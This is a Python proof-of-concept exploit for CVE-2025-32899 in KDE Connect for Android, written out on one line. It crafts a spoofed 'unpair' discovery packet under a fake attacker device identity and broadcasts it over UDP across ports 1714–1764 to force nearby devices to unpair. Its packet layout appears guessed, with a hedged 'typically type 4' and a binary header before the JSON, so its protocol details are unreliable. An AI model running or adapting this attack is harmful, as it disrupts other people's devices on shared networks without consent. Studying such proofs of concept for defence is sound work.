CVE-2025-32899 KDE Connect Android伪造发现包导致设备解除配对

#!/usr/bin/env python3 # CVE-2025-32899 PoC - KDE Connect Discovery Packet Spoofing # Description: Crafted UDP broadcast packet causes device unpairing import socket import struct import json import sys def craft_malicious_discovery_packet(): """ Craft a malicious KDE Connect discovery packet that triggers unpairing This PoC demonstrates the vulnerability in KDE Connect < 1.33.0 """ # KDE Connect discovery packet format # The packet type that triggers unpairing is typically type 4 (unpair request) packet_type = 4 # Unpair packet type # Build the packet header header = b'\x00\x01' # Protocol version header += struct.pack('>H', packet_type) # Packet type # Device identity (can be arbitrary for this attack) device_id = b'ATTACKER_DEVICE_ID' device_name = b'Malicious Device' # Build the payload payload = { 'type': 'unpair', 'deviceId': device_id.decode(), 'deviceName': device_name.decode() } payload_json = json.dumps(payload).encode('utf-8') # Combine header and payload packet = header + payload_json return packet def send_broadcast_packet(packet, target_ip='255.255.255.255', port=1714): """ Send the malicious packet via UDP broadcast """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) sock.sendto(packet, (target_ip, port)) print(f"[+] Malicious discovery packet sent to {target_ip}:{port}") print(f"[+] Packet size: {len(packet)} bytes") return True except Exception as e: print(f"[-] Error sending packet: {e}") return False finally: sock.close() def main(): print("=" * 60) print("CVE-2025-32899 - KDE Connect Unpairing PoC") print("=" * 60) # Craft the malicious packet packet = craft_malicious_discovery_packet() # Send to default KDE Connect discovery port # Port range: 1714-1764 (TCP/UDP) for port in range(1714, 1765): send_broadcast_packet(packet, port=port) print("\n[!] Attack completed. Target devices should have been unpaired.") print("[!] Note: This PoC is for educational and testing purposes only.") if __name__ == '__main__': main()